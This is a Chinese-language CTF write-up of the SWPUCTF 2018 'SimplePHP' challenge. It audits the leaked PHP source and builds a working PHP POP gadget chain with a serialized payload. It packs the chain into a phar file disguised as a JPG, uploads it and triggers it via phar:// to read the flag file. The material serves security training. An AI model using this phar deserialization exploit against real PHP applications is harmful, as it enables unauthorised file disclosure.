[SWPUCTF 2018]SimplePHP
查看upload_file.php的前端代码:

可以知道flag在flag.php文件中

同时发现file.php存在文件内容读取点file,猜测可以利用该文件读取点读取一些文件信息:
读取文件信息:
读取index.php文件信息:

index.php:
1 2 3 4
| <?php header("content-type:text/html;charset=utf-8"); include 'base.php'; ?>
|
发现存在一个base.php
读取upload_file.php:
1
| file.php?file=upload_file.php
|

upload_file.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php include 'function.php'; upload_file(); ?> <html> <head> <meta charest="utf-8"> <title>文件上传</title> </head> <body> <div align = "center"> <h1>前端写得很low,请各位师傅见谅!</h1> </div> <style> p{ margin:0 auto} </style> <div> <form action="upload_file.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </div>
</script> </body> </html>
|
发现存在function.php
读取file.php:

file.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php header("content-type:text/html;charset=utf-8"); include 'function.php'; include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; }
$show = new Show();
if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); } ?>
|
读取class.php:
class.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| <?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } }
class Show { public $source; public $str; public function __construct($file) { $this->source = $file; echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>
|
读取function.php:
function.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| <?php
include "base.php"; header("Content-type: text/html;charset=utf-8"); error_reporting(0); function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>'; } function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } }
function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } } } ?>
|
读取base.php:
base.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php session_start(); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>web3</title> <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> </head> <body> <nav class="navbar navbar-default" role="navigation"> <div class="container-fluid"> <div class="navbar-header"> <a class="navbar-brand" href="index.php">首页</a> </div> <ul class="nav navbar-nav navbra-toggle"> <li class="active"><a href="file.php?file=">查看文件</a></li> <li><a href="upload_file.php">上传文件</a></li> </ul> <ul class="nav navbar-nav navbar-right"> <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> </ul> </div> </nav> </body> </html> <!--flag is in f1ag.php-->
|
读取f1ag.php:

无法直接访问f1ag.php文件
代码审计分析:

可以通过直接绕过preg_math()的检测获取f1ag.php的内容

file.php中存在file_exists()函数,我们也可以通过该函数触发phar反序列化,获取f1ag.php的内容
这里我们尝试使用phar反序列化获取f1ag.php文件的内容
危险函数:


由于_show()函数只有在file.php中有使用,在class.php中没有其他地方有使用该函数,所以用该函数进行pop链不理想,所以我们尝试用pop链触发file_get()函数
构造phar反序化:
pop链分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| 1.$text = base64_encode(file_get_contents($value)); $value=f1ag.php
2.Test::file_get($value) =>$text = base64_encode(file_get_contents($value)); $value=f1ag.php
3.Test::get($key) =>Test::file_get($value) =>$text = base64_encode(file_get_contents($value)); $this->params[$key]=f1ag.php $value=f1ag.php
4.Test::__get($key) =>Test::get($key) =>Test::file_get($value) =>$text = base64_encode(file_get_contents($value)); $this->params[$key]=f1ag.php $value=f1ag.php
5.要触发__get()函数,需要调用该类的私有变量或不存在的变量时,才会调用 Show::__toString()=>$content = $this->str['str']->source; =>Test::get($key) =>Test::file_get($value) =>$text = base64_encode(file_get_contents($value)); Show->str['str']=new Test $key='source' params=array('source'=>'f1ag.php') $this->params[$key]=f1ag.php $value=f1ag.php
6.要触发__toString()函数,当输出引用该函数所在的对象时,或对类进行字符串处理时会自动调用该函数,同样由于我们获取的f1ag.php信息是通过return返回的,所以我们需要有一个输出echo或print去输出我们获取到的f1ag.php文件信息,所以考虑采用C1e4r::__destruct()=>echo $this->test;//$this->test = new Show() C1e4r::__destruct()=>echo $this->test; =>Show::__toString()=>$content = $this->str['str']->source; =>Test::get($key) =>Test::file_get($value) =>$text = base64_encode(file_get_contents($value)); C1e4r->str = new Show() C1e4r->test = new Show() Show->str['str']=new Test $key='source' params=array('source'=>'f1ag.php') $this->params[$key]=f1ag.php $value=f1ag.php
|
构造pop链脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| <?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } }
class Show { public $source; public $str; public function __construct($file) { $this->source = $file; echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } }
$file = 'index.php'; $name = new Show($file);
$b = new Test(); $b->params = array('source'=>'f1ag.php'); $name->str=array('str'=>$b);
$a = new C1e4r($name);
$a = serialize($a); echo $a;
?>
|
输出:

base64解密:

反序列化测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| <?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } }
class Show { public $source; public $str; public function __construct($file) { $this->source = $file; echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } }
$file = 'index.php'; $name = new Show($file);
$b = new Test(); $b->params = array('source'=>'f1ag.php'); $name->str=array('str'=>$b);
$a = new C1e4r($name);
$test = 'O:5:"C1e4r":2:{s:4:"test";N;s:3:"str";O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";s:8:"f1ag.php";}}}}}'; @unserialize($test);
?>
|
输出:

总共有两次base64输出,第一次为自动销毁对象时触发,第二次为unserialize()时触发产生,所以可以证明我们的序列化操作正确。
serialize序列化和phar序列化的运行原理基本基本一直,只是触发的方式不相同,所以可以使用普通的序列化来测试pop链的正确性
构造phar序列化文件脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
| <?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } }
class Show { public $source; public $str; public function __construct($file) { $this->source = $file; echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } }
$file = 'index.php'; $name = new Show($file);
$b = new Test();
$b->params = array('source'=>'/var/www/html/f1ag.php'); $name->str=array('str'=>$b);
$a = new C1e4r($name);
unlink("pop.phar"); $phar = new Phar("pop.phar"); $phar->startBuffering(); $phar->setStub("<php __HALT_COMPILER(); ?>");
$o = $a; $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();
|
更改生成的pop.phar文件为pop.jpg后上传:
(直接改后缀就可以保证文件内部的二进制内容不变,如果用工具改后缀,可能会导致文件内部内容改变,从而无法被phar://协议解析)


上传成功!!!
在file.php页面使用phar://协议访问我们上传的pop.jpg:
在function.php中存在以下代码:
1
| $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
|
所以我们的文件名为:md5(‘pop.jpg’.$_SERVER[“REMOTE_ADDR”])
分析:
$_SERVER[“REMOTE_ADDR”] 是一个 PHP 预定义变量,用于获取当前请求的客户端 IP 地址,$_FILES[“file”][“name”] 获取的是整个文件名包含文件的后缀名。
根据网页的显示:


以及base.php中的代码审计:

我们可以知道我们的客户端ip地址为10.244.80.21(ipv4只有4部分)
所以我们上传的文件名为:
1 2
| <?php echo md5('pop.jpg'.'10.244.80.21');
|
输出:
1
| 2f65792e232f3de9f28be6a4566226b4
|
使用phar://协议访问我们的上传文件:
1
| http://abee5700-2f2c-4100-9748-3631d96928c3.node5.buuoj.cn:81/file.php?file=phar://upload/2f65792e232f3de9f28be6a4566226b4.jpg
|

对密文进行解码得:

flag=flag{56a68951-e267-4621-86e8-2418e3005173}